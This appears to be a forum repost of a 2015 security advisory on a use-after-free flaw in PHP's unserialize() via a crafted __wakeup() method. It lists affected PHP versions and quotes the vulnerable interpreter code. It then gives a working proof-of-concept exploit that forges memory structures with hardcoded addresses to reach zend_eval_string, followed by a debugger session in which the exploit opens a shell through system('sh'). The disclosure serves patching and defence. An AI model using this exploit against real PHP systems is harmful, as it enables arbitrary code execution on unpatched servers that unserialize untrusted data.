Aerosol Posted March 24, 2015 Report Share Posted March 24, 2015 #Use After Free Vulnerability in unserialize()Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.2.3- Release Date: 2015.3.20> A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code.Affected Versions------------Affected is PHP 5.6 < 5.6.7Affected is PHP 5.5 < 5.5.23Affected is PHP 5.4 < 5.4.39Affected is PHP 5 <= 5.3.29Affected is PHP 4 <= 4.4.9Credits------------This vulnerability was disclosed by Taoguang Chen.Description------------```static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements){ zval retval; zval fname; if (Z_TYPE_P(rval) != IS_OBJECT) { return 0; } //??? TODO: resize before if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval),elements, 1)) { return 0; } ZVAL_DEREF(rval); if (Z_OBJCE_P(rval) != PHP_IC_ENTRY && zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup",sizeof("__wakeup")-1)) { ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval, 0,0, 1, NULL);```A specially defined __wakeup() magic method lead to various problems.The simple code:```<?phpclass evilClass { public $var; function __wakeup() { unset($this->var);// $this->var = 'ryat'; }}$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');?>```Object properties assignment or destroy operation leads to the ZVALand all its children is freed from memory. However the unserialize()code will still allow to use R: or r: to set references to thatalready freed memory. There is a use after free vulnerability, andallows to execute arbitrary code.Proof of Concept Exploit------------The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.```<?php$f = $argv[1];$c = $argv[2];$fakezval1 = ptr2str(0x100b83008);$fakezval1 .= ptr2str(0x8);$fakezval1 .= "\x00\x00\x00\x00";$fakezval1 .= "\x06";$fakezval1 .= "\x00";$fakezval1 .= "\x00\x00";$data1 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';$x = unserialize($data1);$y = $x[2];// zend_eval_string()'s address$y[0][0] = "\x6d";$y[0][1] = "\x1e";$y[0][2] = "\x35";$y[0][3] = "\x00";$y[0][4] = "\x01";$y[0][5] = "\x00";$y[0][6] = "\x00";$y[0][7] = "\x00";$fakezval2 = ptr2str(0x3b296324286624); // $f($c);$fakezval2 .= ptr2str(0x100b83000);$fakezval2 .= "\xff\xff\xff\xff";$fakezval2 .= "\x05";$fakezval2 .= "\x00";$fakezval2 .= "\x00\x00";$data2 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;a:1:{i:0;R:4;}}}';$z = unserialize($data2);intval($z[2]);function ptr2str($ptr){ $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}class evilClass { public $var; function __wakeup() { unset($this->var);// $this->var = 'ryat'; }}?>```Test the PoC on the command line, then any PHP code can be executed:```$ lldb php(lldb) target create "php"Current executable set to 'php' (x86_64).(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"Process 13472 launched: '/usr/bin/php' (x86_64)sh: no job control in this shellsh-3.2$ php -vPHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)Copyright (c) 1997-2014 The PHP GroupZend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologiessh-3.2$ exitexitProcess 13472 exited with status = 0 (0x00000000)(lldb)```Source Quote Link to comment Share on other sites More sharing options...